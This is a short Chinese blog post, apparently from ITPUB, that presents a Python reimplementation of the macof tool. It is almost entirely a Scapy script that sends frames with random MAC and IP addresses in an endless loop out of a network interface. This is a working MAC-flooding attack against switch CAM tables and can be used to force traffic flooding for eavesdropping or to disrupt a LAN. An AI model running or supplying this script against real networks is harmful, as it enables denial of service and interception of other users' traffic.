首页 > IT职业 > IT生活 > Python实现macof
import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.argv)>=2:
iface=sys.argv[1]
while(1):
eth = Ether(src=RandMAC("*:*:*:*:*:*"),dst=RandMAC("*:*:*:*:*:*"))
arp = IP(src=RandIP("*.*.*.*"),dst=RandIP("*.*.*.*"))
print eth.dst
packet = eth/arp/ICMP()
time.sleep(0.5)
sendp(packet,iface=iface,loop=0)
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/2815/viewspace-2803581/ ,如需转载,请注明出处,否则将追究法律责任。